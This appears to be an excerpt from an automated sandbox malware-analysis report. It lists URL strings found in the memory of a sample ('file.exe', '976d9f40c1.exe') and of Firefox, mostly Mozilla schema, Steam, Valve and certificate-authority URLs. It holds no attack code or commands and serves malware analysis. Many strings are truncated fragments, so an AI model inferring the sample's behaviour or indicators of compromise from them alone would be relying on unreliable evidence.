Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDatehttp://mozilla.org/#/properties/proposedEnrollmentf
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentTypeplaces.sqlite#1:
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOuthttp://mozilla.org/#/properties/branches/anyO
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/filterFetchResponse
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSizegetAPI/register/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperimentbrowser.newtabpage.activity-stream.feeds.snippe
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollouthttp://mozilla.org/#/properties/channelwebcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/javascriptValidator
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0next-generation-accessibility-engine-powering-s
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1https://www.google.com/search?client=firefox-b-
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizationsresource://normandy/Normandy.sys.mjsresource://gre/modu
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mediaExceptionsStrategy
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor4fb599b7-2bfe-40fa-aec3-5b51dcdef652
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsAlternativeEnable
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsDaysCutOff
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomeshttp://mozilla.org/#/properties/outcomes/itemshttp://mozilla
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesAlternativeEnable
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHighWeight
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesLowWeight
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesMediumWeight
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesNumSampledVisits
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect9e34c6e7-cbed-40a0-ba63-35488e171013
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationwebcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestionshttp://mozilla.org/#/propertie
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/pocketFea
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabledhttp://mozilla.org/#/pr
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabledextension/webcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndexExtension:RegisterContentScriptsComplet
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenarioextension/webcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMapExtension:RegisterContentScriptsComplete
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialogcd09ae95-e2cf-4b8b-8929-791b0d
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabledhttp://mozilla.org/#/properties/dnsMaxAn
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndexExtension:RegisterContentScriptsComplete
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersionhttp://mozilla.org/#/properties/branches/anyOf/1http://
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResultshttp://mozilla.org/#/properties/ehPreconnectEnabl
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGatehttp://mozilla.org/#/properties/pocketShow
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slugwebcompat
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCapFailed
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthhttp://mozilla.org/#/properties/pagesAlt
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordshttp://mozilla.org/#/properties/merinoEnabledawesome-
Source: firefox.exe, 00000019.00000002.3238885553.00000137A11B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3063328605.00000137A0261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234717923.00000137A0EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3024124935.00000137A61C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205739968.000001379E937000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234717923.00000137A0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3232782282.00000137A0B4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234139332.00000137A0D49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2991725826.000001379EAA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3016486449.00000137A61E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234139332.00000137A0D61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2996383263.000001379E799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3197648410.000001379E110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3217558620.000001379FF55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234139332.00000137A0DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207362335.000001379EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3098570629.00000137A0261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3016038531.00000137A61CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateWRITE_ERROR_BACKGROUND_TASK_SHARING_VIOLATIONPREF_APP_UPDATE_N
Source: firefox.exe, 00000019.00000003.3042142372.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A69BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.3207818517.000001379EC43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A946000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799F45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234717923.00000137A0E84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207362335.000001379EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3215983830.000001379FD58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3197648410.000001379E1F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3215694753.000001379FCAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3215694753.000001379FC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234139332.00000137A0DCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulExpected
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3040743134.00000137A91A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3033463599.00000137A91A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2133456713.00000000059C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3040743134.00000137A91A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F37D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3033463599.00000137A91A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
